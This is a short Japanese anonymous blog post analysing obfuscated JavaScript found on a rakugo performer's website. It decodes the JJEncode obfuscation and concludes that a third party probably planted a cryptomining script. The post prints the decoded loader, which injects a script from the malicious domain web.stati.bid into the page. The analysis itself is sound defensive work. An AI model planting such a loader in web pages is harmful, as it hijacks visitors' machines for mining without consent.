■anond:20180221193215

JavaScriptには詳しくないため、コードをまるごと検索につっこんで類似例を見つけたいところだが、記号が多用されたコードはそのままではぐぐれないので

"javascript obfuscator dollar underscore" といったキーワードで検索

すると下記の解説サイトがヒットし、JJEncodeというツールで難読化されたものであることがわかる

https://blog.korelogic.com/blog/2015/01/12

デコードツールも紹介されているのでさっそく試してみると、以下の結果が得られる

var el = document.createElement('script');
el.src = 'https://web.stati.bid/js/YQHHAAUDYwBFglDXg0VSBVWyEDQ5dxGCBTNT8UDGUBBT0zPFUjCtARE2NzAVJSIPQ0FJABFUVTK_AABJVxIGEkH5QCFDBASVIhPPcREqYRFEdRQcsUEkARJYQyAXVBPNcQLaQAVm4CQCZAAVdEMGYAXQxwa.js?trl=0.20';
document.head.appendChild(el);

次に "web.stati.bid" でぐぐると下記のブログがヒットする

それによると去年12月ぐらいから複数のサイトが改変被害に遭っていて、同じスクリプトを挿入されているらしい

飛び先のURLはいくつかあるが、中でもこのstati.bidドメインは今月登録されたばかりの非常に新しいもののようだ

https://blog.sucuri.net/2018/02/wikipedia-page-review-revealed-minr-malware.html

ちょうど英語Wikipediaでも同ドメインへ繋がるリンクが貼られて一悶着あったようだが、そのURLは桂春蝶サイトに埋め込まれていたURLと（パラメータ込みで）完全一致する

結論：黒。実際にマイニングスクリプトが埋め込まれている。

ただし前例から考えて、第三者がクラックして挿入したものである可能性が高い

Permalink | 記事への反応(0) | 19:57

ツイートシェア